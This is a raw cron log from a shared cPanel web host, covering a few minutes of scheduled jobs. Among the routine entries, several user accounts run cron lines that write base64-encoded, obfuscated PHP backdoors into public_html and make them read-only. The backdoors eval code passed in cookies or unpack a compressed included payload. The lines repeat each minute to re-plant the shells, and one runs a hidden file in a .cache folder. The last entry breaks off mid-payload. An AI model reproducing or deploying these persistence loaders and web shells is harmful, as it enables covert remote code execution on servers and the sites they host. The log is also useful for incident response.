Mar  1 22:47:01 medusa CROND[2898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:47:02 medusa CROND[3037]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:47:02 medusa CROND[3038]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:47:02 medusa CROND[3039]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 22:47:02 medusa CROND[3040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:47:02 medusa CROND[3041]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:47:02 medusa CROND[3043]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:47:02 medusa CROND[3045]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:47:02 medusa CROND[3046]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:47:02 medusa CROND[3048]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:47:02 medusa CROND[3049]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:47:02 medusa CROND[3053]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:47:02 medusa CROND[3054]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:48:01 medusa CROND[8087]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:48:01 medusa CROND[8090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:48:01 medusa CROND[8088]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:48:01 medusa CROND[8092]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:48:01 medusa CROND[8093]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:48:01 medusa CROND[8094]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:48:01 medusa CROND[8102]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:48:01 medusa CROND[8104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:48:01 medusa CROND[8103]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:48:01 medusa CROND[8105]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:48:01 medusa CROND[8111]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:48:01 medusa CROND[8112]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:48:01 medusa CROND[8117]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:49:02 medusa CROND[16157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:49:02 medusa CROND[16158]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:49:02 medusa CROND[16159]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:49:02 medusa CROND[16160]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:49:02 medusa CROND[16161]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:49:02 medusa CROND[16165]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:49:02 medusa CROND[16169]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6